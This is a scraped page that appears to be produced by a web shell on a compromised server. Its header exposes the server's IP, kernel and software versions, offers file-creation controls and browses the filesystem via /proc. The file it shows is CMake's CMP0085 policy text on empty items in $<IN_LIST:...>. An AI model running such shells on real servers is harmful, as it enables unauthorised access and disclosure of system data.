Default page

Your IP: 216.73.216.124
Server IP: 50.28.103.30
Server: Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software: nginx/1.28.0
PHP Version: 8.3.12
Buat File | Buat Folder

Dir : ~/proc/1856814/root/usr/share/cmake/Help/policy/

View File Name : CMP0085.rst

CMP0085
-------

.. versionadded:: 3.14

``$<IN_LIST:...>`` handles empty list items.

In CMake 3.13 and lower, the ``$<IN_LIST:...>`` generator expression always
returned ``0`` if the first argument was empty, even if the list contained an
empty item. This behavior is inconsistent with the ``IN_LIST`` behavior of
:command:`if`, which this generator expression is meant to emulate. CMake 3.14
and later handles this case correctly.

The ``OLD`` behavior of this policy is for ``$<IN_LIST:...>`` to always return
``0`` if the first argument is empty. The ``NEW`` behavior is to return ``1``
if the first argument is empty and the list contains an empty item.

This policy was introduced in CMake version 3.14.  CMake version
|release| warns when the policy is not set and uses ``OLD`` behavior.
Use the :command:`cmake_policy` command to set it to ``OLD`` or ``NEW``
explicitly.

.. include:: DEPRECATED.txt